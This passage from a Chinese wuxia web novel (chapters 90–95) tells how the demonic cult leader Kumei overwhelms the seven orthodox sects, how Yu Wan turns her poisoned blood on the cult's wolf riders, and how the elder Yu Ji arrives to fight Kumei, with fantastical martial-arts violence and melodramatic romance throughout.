“当下,我们七派聚在一起,高手如云,而魅影教那边,左右护法俱损,三个长老也死伤了两个,八个堂主能打的也只剩下四个,我们齐心协力,未必不能打败骷魅。”章玄说道。 展平摇摇头:“化境的恐怖,可不是我等凡人能够窥探的。” “章阁主,你这样,只会让七派弟子全葬身在此。”浮生长老厉声说道。 正话间,骷魅不知何时,施动瞬身术出现在众人身前。 “不用争了,你们所有人,都得死!”骷魅挥舞冥阎长镰指着众人说道。 “狂妄自大!”章玄提起剑便冲了过去,身法极其轻盈,动作也很迷幻,和之前青云剑仙李御风的身法很相似。 “别去。”展平朝章玄喊道,章玄哪里听得进去,仍提剑向前。 看着冲来的章玄,骷魅不以为然的冷冷一笑。 瞬息之下,章玄已至骷魅身前,凌厉一刺,以为击中了骷魅,哪知抬起头来却看见前方空无一人,只有一阵黑烟,章玄大惊,向左右看去,同样无人。 “小心身后。”浮生方丈喊道。 章玄头也不会,急忙向前快速飞去,只见身后一镰刀正朝章玄颈部挥去,还好章玄跑得快,否则就身首异处了。 “好身手,那接下来,我可就要认真了!”骷魅收起笑意,握紧冥阎长镰,冷冷说道。 章玄冷汗直冒,显然,他低估了化境的实力…… 当下,骷魅直接化作两团黑雾,朝章玄击去,比刚才速度更快了,一团击左一团击右,章玄哪里防守得过来,只两回合便露出破绽,被骷魅一刀砍伤左臂,接着便是一掌拍倒。 骷魅也不纠缠,两团烟雾合做一团向展平袭去。 “凌空剑法第六式!”当下,七剑飞出,直击骷魅,骷魅却丝毫不躲,眼看,长剑近身,骷魅一个瞬身术凭空消失了。这时,展平脚下杂草、荆棘疯长至腰间将展平抓住,骷魅又突然出现在左侧,挥出长镰向展平击去,展平忍着剧烈疼痛扯断荆棘,转身挥剑挡下骷魅这一击,骷魅显然没料到展平能转身过来挡下,短暂楞了一下,但也无妨,当下右手施压,左手则挥掌向展平腹部击去,展平躲闪不开,被卸魂掌击中腹部,受伤倒地。旁边的江雨潇、于婉还有蔡彧等人一直在用暗器或音波攻击着骷魅,但以他们的功力显然还拦不住骷魅。 “下一个,选谁呢?”骷魅看着浮生一花和蔡彧还有于婉等人冷笑着说道。 第九十章 降与亡 魅影总坛,一个身着紫色长袍的神秘男子戴着面具,穿过黑漆漆的暗道,打开一道暗门,暗门之内还有暗道,男子左右看了看,确定周围没人后,小心翼翼走了进去。暗道尽头,有一个机关锁将一道铁门紧锁着,神秘男子不费吹灰之力便破解了此锁,打开了铁门,里面是一个藏宝室,男子将周围弄得混乱不堪,拿走很多奇珍异宝。接着,径直走到藏宝室一个角落里,在旁边的墙上摸索了一下,找出一个机关来,果断按下,只见墙上弹出一个抽屉来,里面藏着一个盒子。男子取出盒子,打开看了看,正是魅影教无上至宝——万幻珠,接着,他闭上盒子,也不还原现场,带上盒子和那些奇珍异宝沿着暗道离开…… 草野之上,七大门派高手如云,却无一人能敌骷魅。 骷魅在人群中穿梭着,所到之处,轻则负伤倒地,重则当场毙命。 就在众人纷纷远离骷魅,想着如何自保时,一个女子站了出来,径直朝骷魅走去——正是慕容洵。 于婉大惊,朝慕容洵喊道:“洵姐危险,骷魅残暴嗜杀,别过去。”一边喊着一边冲过去,将慕容洵拉住。 慕容洵挣开于婉,自嘲一笑:“他不是骷魅,他是公孙魄,那个我等了十六年的人。”接着头也不回的向骷魅走去。 于婉愣住了,呆呆的看着慕容洵…… 这时,杀红眼的骷魅看到慕容洵走近,第一反应便是瞬身术一施,闪到慕容洵侧面,长镰一挥朝颈部砍去…… 但当慕容洵转过脸去,看向骷魅时,骷魅僵住了,毫无疑问,他右手的镰刀已经挥出去了,是要砍慕容洵没错,但一股无名的力量却阻拦着骷魅动手。 慕容洵,闭着眼,就等骷魅砍死自己,但当下,骷魅却收起了长镰。 慕容洵缓缓睁开眼,欣慰的笑了笑,眼角默默流下泪来,一把抱住骷魅。哽咽道“十六年了,我等了你十六年,你忘了我们之间的约定了吗?” 骷魅木然道:“什么约定?” 慕容洵听了,松开抱紧骷魅的手,气愤的说着:“你答应过我,最后一片枫叶落下之前,你会八抬大轿前来娶我!” 听了这话,骷魅一脸茫然,脑海中再次浮现出一些陌生又熟悉的画面…… 一个白衣翩翩少年和一个红衣亭亭少女并排躺在草地上,看着天空。 “那两只大雁脱离了雁群,一定很孤独吧。”少年开口道。 少女摇了摇,并不认同他的观点:“它们两是夫妻,就这样不离不弃的相伴一生,怎么会孤独呢?” “那倒也是。”少年一边说着,一边握紧了少女的手,十指相扣。 “公孙大哥,你喜欢我吗?”少女一脸期待的看着少年。 “当然喜欢了。”少年一边说着,一边手指握得更紧了。 “你会回来娶我的对吗?”少女满怀期待的看向少年。 少年没有犹豫,一脸认真的回答:“当然,等我,我会带着八抬大轿前来娶你” 少女听了,笑得十分甜美,但接着又焦虑起来:“你不回来我可怎么办啊?” 少年看了看一旁碧绿的枫叶,抱紧少女,对她说道:“你放心,最后一片枫叶落下之前,我一定回来。” …… 骷魅想到这些片段,抱着头,左右摇晃着,疯喊道:“你到底是谁?公孙魄又是谁?我是骷魅!骷魅!”情绪波动很大,十分激动。 “公孙大哥,你到底怎么了,公孙大哥!”看着发疯的骷魅,慕容洵哭了起来,想要再上前抱住骷魅。 这时,疯了的骷魅突然抬头,冷冷的看着慕容洵,那眼神不像是在看人,而像是再看猎物,当下没待慕容洵近前,鬼岐左掌挥去,直接将慕容洵击飞了十几米,这下可不得了,估计慕容洵五脏六腑都受了重伤,能不能活都成问题。 慕容洵被击飞这么远,当场便重重吐了口淤血,但她仍看着骷魅,眼神中没有怨恨,更多的是担忧与心酸。 “洵姐!”于婉见慕容洵受伤,立马上前,将她扶起,带下去。 骷魅见慕容洵被自己打得重伤,也愣住了,盯着自己的左手看了良久,摇摇头,一个劲儿的后退,竟瘫坐在地…… 骷魅完全不清楚刚才发生了什么,他只不过是像往常一样,施展功法碾死一只“蝼蚁”罢了,可为何,心里却感觉正在遭受千刀万剐一般,浑身难受,疲乏无力。 最终,他彻底失控了,他邪魅一笑,缓缓站起来,看着慕容洵,口中喃喃道:“对,就是这样,把他们一个一个,全部杀掉!”公孙魄的意识彻底消散,埋藏于内心最深处。此时此刻,掌管骷魅意识的,乃是百年前,中原武林口中的那个魔头——无冥。 “还等什么,凡中原武林人士,一个不留!”骷魅朝左右手下吼道。 当下魅影教、幽狼派听了,皆凶狠的向前冲去,各派侠客完全抵挡不住,节节败退…… “快走,我们留下来挡住他们。”浮生长老和七派中的一些高手留下来挡住敌人,其它弟子则争先恐后的向后退去。但后面有一条大河,河上只有一条宽五米的木桥,七派人数众多,高手又基本留下来断后了,无人组织,当下竟全堵在岸边。那座木桥本就简陋、破烂,再加上年代久远,当下哪承得起这么多人,只听一声巨响,木桥轰然坍塌,七大门派中落水者不计其数。 浮生方丈等人回头见那仅有的木桥崩塌,都绝望了,仰视苍天,悲痛喊道:“天要亡了中原武林啊!” “不是天要亡中原武林,是我无冥要亡你中原武林!”浮生方丈抬下头看去,刚才还在那河边的骷魅,数息之下,竟又闪到了这边。 骷魅踩着一片黑云,悬在河上,俯视群雄:“投降吧,中原武林已经败了。” 浮生长老摇了摇头,看着蔡彧,蔡彧也摇了摇头,他们不想投降,但当下只有两个选择:投降,或者死亡! 第九十一章 毒绝天下——慕容氏重现江湖 当下,七大门派见桥已被毁,撤退无望,都拿起武器返回战场,要与魅影教同归于尽。 前方是凶狠的魅影教和幽狼派,后方则是汹涌的大河,局势十分险峻。更恐怖的是,骷魅丝毫没有想给七大门派反抗的机会,直接用出杀招! “万幻影诀第九重——天下大同!” 只见后方江河之水竟向岸上涌来,将不少弟子卷入河去,七大门派的人无力抵抗,只得离开河岸,但让他们绝望的是,面前不知何时,出现了飓风,当下,飓风和巨浪将众人夹杂中间,进退不得。 于婉看着身旁重伤昏迷不醒的慕容洵,又看到同伴们被骷魅功法折磨,当下怒火中烧,失去了理智,提起剑便向向骷魅冲去:“我跟你拼了。” 不止于婉,许多弟子都乱了阵脚,直接向敌人扑去,结局不必细讲,不过是鸡蛋碰石头耳 于婉提剑上前,想擒贼擒王,直接杀死骷魅,想法很美好,但骷魅施完万幻影诀后便退至敌军后方恢复内力去了,哪会那么容易让于婉近身,当下,一不留神便被四个巨魔狼骑兵围在中间进退不得。 现下,七大门派乱成一锅粥,已是各自自保,谁也顾不上谁,哪管得了受围的于婉,而杜菱此刻正照看着展平,完全没注意到落险的于婉,就算注意到了,内力耗尽的她,显然也帮不上忙。 所幸苏起注意了,当下没有丝毫犹豫,提起剑便杀入敌阵,与于婉背靠背站在了一起,简单来说,苏起杀入敌阵的结果是:两人都被包围了…… “你怎么来了!” “咱俩什么关系啊,你有难,我肯定得第一个到场救你啊。” 于婉笑了笑,但却不自觉的想起之前每次遇难都是昭相雪将自己救下,八岁那年落水如此,冀州那次受伤如此,荆州那次落水、中暗箭亦然,只是这次不会了,以后估计也不会了…… 正想着,一只巨魔狼骑,举起双爪向于婉扑来。 于婉不禁在心里说道:‘如果我将死于这巨狼的狼爪之下,昭相雪,你会出现救下我吗?’想到这,于婉竟毫不躲闪,坦然闭上双眼,丢下配剑,等待着狼爪击来。 ‘大概不会来救我了吧’于婉在心里说道,眼角淡淡留下泪来。 千钧一发之时,只听砰的一声,正是巨魔狼爪和刀剑碰撞的声音,显然,有人替于婉挡下那击。 “昭相雪!”于婉兴奋的睁开眼朝前方喊道。 然而,挡在身前的,并不是昭相雪!千钧一发之际,苏起闪到于婉身前,横着剑,替她挡下那击。 “婉儿,快走,别管我。”苏起一边挡着狼爪攻击,一边对身后的于婉说道。 “大师兄。”于婉看着眼前替自己拼命的是苏起,很感动,但可笑的是,更多的竟是失落! 这时,巨魔狼身上的幽狼派教徒,举起长戟,向苏起砍来,苏起没法,躲闪不得,只好丢掉佩剑,拉起于婉向后退去。 现在好了,没了武器,又被四匹巨魔狼骑围在中间,那可真是神仙难救了。 于婉一脸愧疚,看着苏起说道:“对不起,师兄,是我害了你。” 苏起摇摇头,微微一笑,看着于婉,并没有要责怪的意思,反而是伸出手,将她拉了过来,轻声说道:“一会儿我吸引它们注意力,你见机逃跑。” 于婉摇摇头,语气有些哽咽:“不,不” 苏起却丝毫不给她思考、反驳的机会,挥着掌法便向身前一匹巨狼攻去:“快照我说的去做!” “不!”于婉并没有照苏起的意思去做,轻功上前欲拉回苏起。 苏起舍身向身前那巨魔狼发起进攻时,因情况紧急,露出了很大的破绽,左右两边恶狼一起向苏起冲去。 苏起见躲闪不开,便挥掌,向左右两边击去,掌波向两边袭去,两只巨魔狼皆向旁一闪躲开,然而身前那狼却找准机会,冲向苏起,那上面的骑兵更是提起长戟,直接刺向了苏起,苏起因为惯性并不能后退,当下直接迎了上去,长戟贯穿了苏起的腹部…… 于婉抱着身受重伤的苏起,泪如泉涌,哽咽道:“对不起!师兄,对不起!” 苏起虽身受重伤,但仍不忍看到于婉落泪,颤颤巍巍的伸出手,一边擦干于婉晨的眼泪,一边笑着说道:“我没事儿~你别~别哭了,哭花了~就~不好看了。”虽然苏起嘴上说着没事,但身体却很诚实,当下,直接昏死了过去。 于婉仰天大哭,悲痛的看了看苏起,在看了看周围的敌军,擦干眼泪,小声说道:“对不起叔父,我没有遵守对你的诺言。”接着,她满身煞气,凶狠的说道:“这是你们逼我的!”话罢,取出飞两枚飞镖,直接在左手掌心划开两道大口子来。 “上!”两匹巨魔狼骑兵使了个眼色,一起冲向于婉。 于婉丝毫不惧,当即将两个飞镖向狼骑兵丢去,速度之快,角度之巧,令人汗颜,两个狼骑兵都中招了,但并没伤到要害,只是击中腹部,当下似乎并没受影响,两个狼骑兵仍紧握狼缰绳奔来。 20米、10米、5米,还没近于婉身,两个骑兵同时从巨狼身上落下。皆是七窍流血而死。失去操控的巨魔狼犹如脱缰野狼,飞速逃离了战场。 剩下两个狼骑兵见了大惊,也不犹豫,都提起长戟刺来,而此时的于婉也捡起了之前掉落的佩剑,用左手在剑身上抹了几下,整柄剑都沾上了于婉的毒血。 当下两狼冲来,于婉巧妙脱开,并挥身在两只巨狼侧面划了一下,虽然用的力气很大,但巨魔狼皮糙肉厚,无论多大力,都只划开一个小口子,不过这个小口子显然足够了,数息之后,毒性发作,两匹魔狼都是四脚无力,直接向旁边倒去,毫无例外,都是七窍流血而亡。 于婉毫不手软,见敌势危,提剑便将那两个士兵都杀了。 这时,于婉背着苏起,拿着剑,对包围她的敌人狠狠的说道:“挡我者死!” 接着,于婉向外围杀去,而中途想要阻拦她的,毫无例外,都死在了于婉的毒剑之下,这一场冲上,宛如当年那个战无不胜、毒绝天下的慕容顾…… 第九十二章 既见佳人,云胡不喜 草野之上,于婉背着苏起,向外围杀出,当下,魅影教、幽狼派教众,敢上前皆被毒功杀死,轻者……对不起,没有轻者,凡被毒功渗入体内者,皆七窍流血而亡。 眼看便要突出重围了,一团黑烟突现,烟雾中,魅影教主骷魅杀出。 看到来了个狠角色,于婉停下脚步,将苏起小心翼翼放下,盯着骷魅,双眼满是怒火。 骷魅看了看于婉,再看了看旁边七窍流血的弟子,压抑住愤怒,一脸从容说道:“我见过你,之前,你和我派护法鬼俈交过手。鬼俈对我派一向忠心耿耿,为何中了你的毒镖后,就变得精神错乱,攻击起同门来,莫非,你这毒药有扰乱人心智的功效?” 于婉冷冷一笑:“我这毒可没你说的那么复杂,它只有一种功效,让中毒之人五脏六腑溃烂!最终七窍流血而亡!” 骷魅听了丝毫不惧,反而讽刺道:“看你长得这般乖巧水灵,还以为会是个乖孩子,想不到,施起毒功来如此狠毒。” “怪不得我,纯属你们魔教妖人咎由自取!”于婉一边说着,一边突然冲上去,提起剑杀向骷魅。 骷魅仍是一脸平静,剑至身前,立马化作一阵黑烟消失在原地。 于婉早已见怪不怪,当下立马转身刺去一剑,然而骷魅并没有在背后,于婉立马又举起长剑向左侧划去,然而骷魅也不在左边…当下这一番与空气的斗智斗勇,说实话,有点儿小尴尬,于婉再向后看去时,骷魅已闪到苏起身旁,一把将他托起,右手握紧长镰,架在苏起的脖子上,欲割颈杀之。 “不要!”于婉见状,吓懵了,向苏起跑去。 “停,再敢上前一步,我立马杀了他!”骷魅一边这样说着,一边将长镰靠得更近了,苏起的脖子被划了道小口子,依稀可见血迹,此时苏起重伤昏迷,自然是不会有丝毫的反抗。 “别~别!”于婉着急的喊着,同时,也停下了脚步。 看到眼前这幕,骷魅笑了笑:“看你这毒功,我想起一个人,五十年前,毒绝天下的慕容顾,如果我没猜错的话,你应该是他孙女吧!” 于婉愣了两秒,冷哼一声,没有否认。 骷魅仰天大笑起来:“哈哈哈,说起来,慕容家与我魅影教还有段旧仇呢,今天,不妨一起结了!” 骷魅收起笑意,一脸杀气对于婉说道“你想救他,好,一命换一命!你若能自刎谢罪,我立马放了一个他!” 自刎?于婉楞了几秒,但并没有感到意外,毕竟魔教妖人什么要求都提得出来。举起长剑,架在脖颈上,喊道:“你最好说话算话!否则,我做鬼也不会放过你。” “我向来说一不二。”骷魅冷冷说道。 于婉闭上眼睛,长剑轻划,将自己的生命永远定格在那一瞬…… 然而,就在于婉要挥剑自尽那刻,一阵急风向于婉袭来,竟将那长剑吹落,于婉没有多想,弯腰捡起,再欲自刎,不料,身后却出现一个年轻侠客,抢先一步夺下那剑…… 看着眼前这个男子,于婉呆住了,竟是昭相雪! 再见昭相雪时,于婉再没将爱慕之情表现出一丝,此时的昭相雪对于婉而言,如同一个陌生人,今生,有缘无分,既如此,那自不必再生牵连。当下,于婉面无表情的走向昭相雪,抢回长剑。 话不多说,举起剑便再要自尽,昭相雪也不迟疑,快步上前,为阻止于婉自尽,竟直接伸手握紧了剑尖! 长剑在昭相雪的手上划开两道口子,鲜血迅速从伤口里渗出。看到这儿,于婉慌了,要知道,这剑上可是沾了山万蛇剧毒啊! 于婉见状急了,立马松开手,扔掉剑大吼道:“你干嘛啊,谁让你碰我剑的!你知不知道,这剑上沾满了我的血,那可是剧毒!”于婉一边说着,眼角不自觉流下泪来,生怕昭相雪会染上那剧毒。 昭相雪微微一笑,看着于婉,平静点点头:“我知道。” “知道你还拦我,你这样会死的!” “如果我不拦你,你就会死!而我,不想让你死。”昭相雪看着于婉,一脸淡然。 听到这话,于婉怔住了,急忙将昭相雪受伤的手拿起来,翻来翻去看了又看,那手并没有溃烂、中毒的迹象。 看到于婉这么着急,昭相雪竟然傻笑起来,一点没在意自己可能会中毒而死的事。 “你中了剧毒,会死的!你还笑,有什么喜事吗!”此时,于婉急得像热锅上的蚂蚁,不知所措,泪若雨下,汉若泉涌,似乎,要被毒死的不是昭相雪,而是于婉自己。 昭相雪的视线,紧紧定格在于婉脸上,此时,即使万箭刺来,他的视线也不会移动丝毫:“风雨如晦,鸡鸣不已。既见佳人,云胡不喜。”昭相雪笑道,话罢一把拥紧于婉,于婉本想推开昭相雪,但昭相雪却怎么也不肯松开。罢了,于婉索性也抱紧昭相雪,小声说道:“昭大哥,若没有那婚约,你会喜欢我吗?” 于婉还以为声音说得小,昭相雪没有听见,哪知昭相雪不仅听见了,还回答道:“婉儿,我喜欢的人是你,一直以来,都只有你!如果在失去你,与背弃信义间做抉择,我选后者!” 于婉听后默默笑了笑,眼角流下泪来,但却一把推开了昭相雪。 “谢谢你,昭大哥,若是能早点听你说这些话该多好,咱们的缘分,就这样吧。”话罢,于婉再捡起剑,又要自尽。 “你到底想干嘛啊!”昭相雪将于婉的手抓住:“难道,你真的要毒死我才罢休吗?婉儿,我告诉你!我既然牵起了你的手,那今生今世,谁也别想再让我放开!” 于婉低下头,哽咽道:“可……” 昭相雪看向周围,一男子正拿着长镰,架在苏起脖子处,做出要杀他的样子。瞬间了解于婉寻死原因。 “放心吧,交给我。”话罢,昭相雪握紧九劫刀,向骷魅走去…… 第九十三章 覆灭,中原武林 此时,苏起尚在骷魅手中,昭相雪自然不会直接过去跟他打,向前走了几步便停下,看着骷魅说道:“魅影教对外号称天下第一大派,没想到,教主却是一个只会要挟人质,使低贱手段的小人。” 骷魅听了笑了笑:“激将法,这招对我可没用。”话罢,镰刀离苏起颈部更近了些。 “慢着,他现在身受重伤,已经没有战斗力了,不如你把他放了,我来做你的人质。” 骷魅看了看昏迷中的苏起,再看了看昭相雪:“好,如你所言!”话罢,丢下苏起,一个瞬身便化作一团黑烟消失在原地。 “小心!”于婉在一旁紧张提醒道。 此时,昭相雪一脸懵逼,如此诡异的功法他还是第一次见到,刚想防备时,骷魅已悄无声息的闪至身后,长镰迅速架在了昭相雪脖子前。 骷魅突然问道:“如果我没猜错的话,你们是一对很相爱的恋人吧。” 于婉看了看昭相雪,缓缓的摇了摇头。 昭相雪看到于婉摇头,内心有些许失落。 “不是恋人?好,那我若是杀了他,你应该没什么意见吧。”骷魅一边说着,一边做出要杀昭相雪的动作。 “不!不要!”于婉着急的喊道。 “哈哈哈”骷魅仰天大笑起来。 “放了他吧,他是无辜的,我和他换,咱们一命换一命!”于婉长剑放于颈部。 看到主动求死的于婉,骷魅楞住了,缓缓说道:“不过是做做样子罢了,我不信你真能为了他自尽。” 于婉看向昭相雪,满脸笑容,没有丝毫惧色。 昭相雪却是一脸担忧:“不要,婉儿,你别听他胡说,我没事!” 于婉摇摇头,笑容变得苦涩起来,轻划长剑,颈部被划开一道长长的口子来,鲜红的血液从颈部涌出…… “不!”当下,昭相雪大喊一声,内力波动异常强烈,灵力大幅外涌,骷魅赶紧后退几步,闪到一旁。 “婉儿!婉儿!”昭相雪快步跑到于婉身前,运用大量内力施在于婉伤口处,血液的流逝速度,在内力的阻隔之下,变慢了些。 于婉嘴角上扬,似在微笑:“昭大哥,你不知道我有多想嫁给你,我希望你说的喜欢我,是因为想与我共度余生,而不是年幼无知,随口定下的荒唐婚约。”于婉虚弱的说完,接着,闭上了眼。 “不,不要离开我,不要!”昭相雪一边哭喊着,一边再使出更多的内力,巧力封穴,竟真挡住了于婉血液的渗出。 不远处,骷魅看着倒地的于婉,自顾自的摇摇头,喃喃道:“曾经,我也爱过一人,如她这般,可抛生死。但卑微的爱情在世俗面前,一文不值!”骷魅顿了顿,突然又补充了句:“或许,错的是我,若我当时能勇敢些,带你远走高飞,此后会不会是另一个结局?”一边说着,骷魅眼角竟流下泪来,不对,准确来说,应该是无冥的眼角流下泪来。他缓缓走到昭相雪身旁,丢下一瓶药:“这是青茯散,有奇效,将它涂在伤口上,应该能快速止住血。” 昭相雪丝毫不理会,全心关注着于婉伤势。 “我没必要骗你,现在不给她止血,一会儿你内力耗尽,她只有死路一条!”话罢,骷魅也不纠缠,施展瞬身术离开。 看着地上那瓶药,昭相雪犹豫片刻,最终,还是捡起了药,将其敷在于婉伤口处。 此时战场已经被魅影教、幽狼派分成了几个包围圈。 而七派大后方,七只巨魔幽狼和几百个魅影教徒将三十几个人围在中间。 里面被围的全是七派顶尖高手:谷月清、蔡彧、杜菱、秋殇、展平等,他们个个都有以一敌百的实力,然而现在,他们都内力耗尽,身负重伤,竟被一群泛泛之辈包围着。 浮生长老、剑阁阁主章玄则和十来个白马寺弟子、剑阁弟子围着谷月清他们,不让魅影教教徒杀进。 当下两方已经打过多个轮回了,局面很是焦灼,一时半会,想打赢浮生、杀掉谷月清等人,倒并非易事。 但每到这个时候,总会有人突然出现,将局面打破,而这个人,毫无意外,每次都是骷魅。 一团黑烟出现在浮生方丈身前,烟雾散去,骷魅出现在身前。 看着狼狈不堪的七派,骷魅冷冷一笑:“这场战争,到了该结束的时候了!” “翼龙爪法第六重——狂龙啸天。” 只见乱风急转,黄沙漫天,一条沙龙向骷魅袭去,速度很快,但可惜的是,并没能快过骷魅《万幻影诀》的瞬身术,当下沙龙袭来,只撞到了骷魅的残影,此时骷魅瞬身术一施,已闪到浮生长老身旁,一镰挥去,浮生急挥龙爪挡下。 身边不远处的章玄不敢轻易帮忙,此时,他必须警惕着周围敌人,眼下,浮生和骷魅在恶战,他若选择帮浮生,和骷魅纠缠在一起,那外面的几百人若是一拥而上,那七派高手伤员的性命可就危险了,所以,此情此景,他只能选择旁观,冷静注视其他人,防备偷袭。 骷魅被浮生挡下后,再施瞬身术,直接闪到浮生背后,一掌拍去,浮生也是个老江湖,哪能轻易中招,侧身向旁一闪,巧妙躲过,当然,实力是一部分,运气也是一部分,既然补抓不了骷魅的动向,那就乱动身法让骷魅也捕捉不了自己的动向,当下,浮生方丈的身法十分诡异,完全捕捉不了他的动向,一般来说,我们将这种身法称之为:瞎捷豹乱闪大法! 骷魅先是一阵诧异,但很快便识破了这种功法的致命弱点,体力消耗巨大,当下确实有效的躲避了骷魅的几波攻击,但是上了年纪的浮生方丈哪经得起这等消耗,体力逐渐不支,最终,被骷魅镰刀刺中背部。 当下,浮生方丈中了长镰,立马向后退去,踉跄几步后,竟直接跪倒在地,流出鲜血来! 白马寺弟子面面相觑,个个神色慌乱,但也不迟疑,立马上前将浮生方丈扶起,一些弟子更是挺身挡在骷魅面前。 而魅影教、幽狼派的弟子们,见浮生方丈重伤,立马军心大增,蜂蛹上前,发起来总攻。 章玄虽有所准备,但眼下,自己这边没了浮生方丈,实力受损、军心大降,虽然章玄用青云剑法当场杀掉了十几名敌军,但这显然还不够阻止魅影教的攻势。 很快,魅影教众突破了章玄等人的防守,径直来到了谷月清、秋殇一叶等身受重伤的武林高手面前…… 第九十四章 劫不渡我,我自渡劫 当下几百魅影教众突破防守,而中原武林的一众高手则盘坐在地,运功养伤。 其中,谷月清、秋殇之前交战都伤了元气,如今只能任人宰割,而蔡彧也消耗了大量精血,当下也无力抵抗,只有展平和杜菱,虽然内力耗尽了,但武艺还在,拼个鱼死网破也不是不可以。 两人连起手来,使出一套组合剑术,数息之下,便杀死二十多名魅影教徒了。接着,魅影教徒第二波攻势再起,二十几名教徒再次涌来,但无一例外,皆被两人用联合技,巧妙击杀,剩下教徒,面面相觑,再不敢上前。 展平冲杜菱笑了笑:“想不到这套联合技,过了这么多年了,你还能如此熟练的使用。” “这剑诀,是我二十岁生日时,你教给我的,这些年,每次想到你,我都会练这剑法,幻想着你在身边,那样,心就不会那么失落了。” 展平握紧杜菱的手,轻声说道:“对不起,菱儿,这次,我再也不会离开你了。” 杜菱微微一笑,轻轻点点头。 “对不起,那可能要让你们失望了。”一团黑雾出现,骷魅从外围瞬身术闪到了内圈。 “骷魅,中原武林就算死,也不会向你屈服的。”杜菱喊道。 展平向前走了半步,侧身挡在杜菱身前。 “放心,不用屈服,我改注意了,从现在起,魅影教不接受任何门派的投降,你们所有人,都得死!”骷魅的语气十分冷寂,话罢直接挥出几掌,向杜菱和展平击去,虽然他们没了内力,但凭身法躲开,还是没问题的,然而,眼下,他们并不能躲!如果他们侧身闪开,这些掌波必然会击中后方的谷月清等人,如今他们元气大伤,再中这几掌,必死无疑! 当下,两人,没得选,只能肉身挡在前面。但两人都很镇静,没有一丝胆怯,十指紧扣,等待着掌波攻来。 眼看掌波将近,上空却无端飞出七柄虚剑来,左边三柄替杜菱挡下,右边三柄替展平挡下,而正空那柄飞剑则径直向骷魅飞去,骷魅长镰向前一挥,将那柄虚剑劈散。 这时,只见大河之上,一柄巨型土剑形成一座拱桥,一老者从土剑上跳下,缓缓向骷魅走去,老者着一身粗麻布衣,头顶蓑帽,看不见正脸,不知是何方高人,不过他右手执着的拂尘却分外眼熟,同时,身边环绕着的七柄虚剑,也分外眼熟,像极了凌云谷的云霄剑法。 老者一边向前走去,背后虚剑一边飞出向骷魅刺去,七剑并排飞出,接着,老者轻轻一跳,站到最后一把虚剑的剑柄上,拂尘左右挥动,沿途的魅影教徒、幽狼教徒,尽皆被击倒,退去。 见有高人相助,七大门派的人又起了斗志,章玄青云剑法再施,杀退周围敌人,朝身后弟子喊道:“带上伤者,撤退!撤退!” 当下,众人皆死战突围,向那座由神秘老者架起的土桥处汇聚。 而那老者则乘飞剑飞至骷魅身前,和骷魅对峙起来。 骷魅一脸煞气:“你不是我对手,七大门派今日必败无疑,何故送死。” “大丈夫生于天地,死则死矣,贫道曾因一己私利,险害七大门派覆灭,今日,七大门派覆灭之际,贫道当倾己之力以救之!”那老者慢慢抬起头,直视着骷魅——竟是凌云谷前任三长老——于吉。 “有意思,那我就先杀了你好了!”骷魅举起镰刀向于吉挥去,同时,原地留下一团黑影,瞬息下,竟再幻化出一个骷魅来,当下,两个骷魅,一个和于吉扭打在一起,一个则施起瞬身术,消失在原地。 而不远处,角落里,昭相雪正悉心照看着于婉,说来也神,那青茯散竟真有奇效,抹在伤口上,很快便将血止住,昭相雪小心替于婉包扎完毕后,将她抱起,向土桥处走去:“婉儿,对不起,都是我的错,没能好好保护好你,我太没用了。”一边说着,眼角默默留下泪来。 另一边,七大门派的人一阵厮杀,终于撕出几个口子来,众人向土桥聚拢,正要过桥,突然江河汹涌,巨浪滔天,竟将土桥冲毁!众人抬头看去,乃是骷魅所为! “无论你们架起多少桥!我都会将其一一拆除!”话罢,骷魅再次化作一团黑烟,消失在原地。 七大门派的人面面相觑,不知所措。当下,魅影教和幽狼派大部分将七大门派围住,于吉见状急忙退后,闪到七大门派阵前,摆好守势,骷魅见了,也一个瞬身术跟上,再和于吉扭打起来。 于吉和鬼岐交过手,且这些时日一直在思考着再次面对这诡异身法时,自己该如何应对,所以,当下的对战,两方竟实力相当,于吉丝毫不占下风。 于吉多次故意露出破绽,骷魅立马施展瞬身术攻击,但全被于吉巧妙躲开,并反将一军,都说先发制人,于吉却是后发制人,几个回合下了,骷魅都懵了,仿佛自己的出招全被看透了一般。 换做战斗经验不足的骷魅,或许当下的打斗会陷入僵局,但此前这人毕竟不是骷魅,而是纵横江湖、战无敌手的神级魔头——无冥,很快,他便摸索出了反计之策。 骷魅取出两枚飞镖,同时扔出,一枚刺左肩,一枚刺右肩,接着,他化作一团黑烟,于吉见镖飞来,拂尘向前一挥,七柄虚剑飞出,两柄向前将那两飞镖挡下,同时,四柄虚剑悬于上空,一柄虚剑直立背后,和之前不一样,之前一直都是三柄在格挡骷魅攻击,而这次却只有一把,但也正好挡下了背后拿着长镰偷袭的骷魅,但这次,骷魅没有向之前一样退去,而是猛的将大量内力注入长镰之中,直接将于吉身后格挡的那柄虚剑打散,径直再向于吉击去,于吉背对着骷魅,猛的一提拂尘,只见,一柄巨型土剑从地下窜出,再挡在于吉身后,长镰的内力波和土剑的内力波紧密的压在一起,这一幕,似曾相识,乃是于吉之前与鬼岐交战时,用过的那招!这土剑,正是云霄九剑第八式幻化出来并埋伏好的虚剑!可真是一招鲜吃遍天了,无冥显然大意了,完全没注意到于吉会留一手。 此时,于吉转过身来,给土剑注入了更多的内力,和骷魅比拼起内力来,因为两人靠的很近、内力过猛的缘故,骷魅此时若强行收手撤退,必然会受到土剑内力的波及和自身内力的反噬,一时进退两难!更不利的是,骷魅现在抽不开身,而于吉上空悬着的四柄虚剑,眼下,正全速向骷魅袭去,此时,骷魅正和于吉比拼着内力,陷入僵局,完全无力阻挡头上飞来的虚剑,而身边围绕的魅影教徒,都是些实力较差的,真正能打的,都去围困七派了,剩下的,除了惊慌,完全无计可施! 只见,四剑直刺骷魅,此时的骷魅,完全无力反抗,很快,一方便败下阵来,吐血倒地。 第九十五章 太平清领道法第一重——借天 随着一方倒地,两股内力波失去平衡,向其压去,万万没料到,输的竟是于吉! 原来,虽然刚才四剑齐指骷魅,险些将其射死,但这也仅仅只是险些,千钧一发之际,骷魅的分身赶到,一手黄沙漫,将那四柄虚剑拍散,接着,他闪到于吉侧面,一掌拍去,而此时的于吉处在僵局之中,完全无力抵挡,只能硬生生的接下那掌…… “阡草延!”当下野草疯窜,直接将倒地的于吉团团围住,丝毫不给他反抗计划,野草将于吉围成一个球,直接举到了三十多米的高空,接着垂直向下抛去,同时,下方的沙土又形成了一把坚硬的土剑,直指于吉,显然,骷魅这是动了杀心,要将于吉一举毙命。 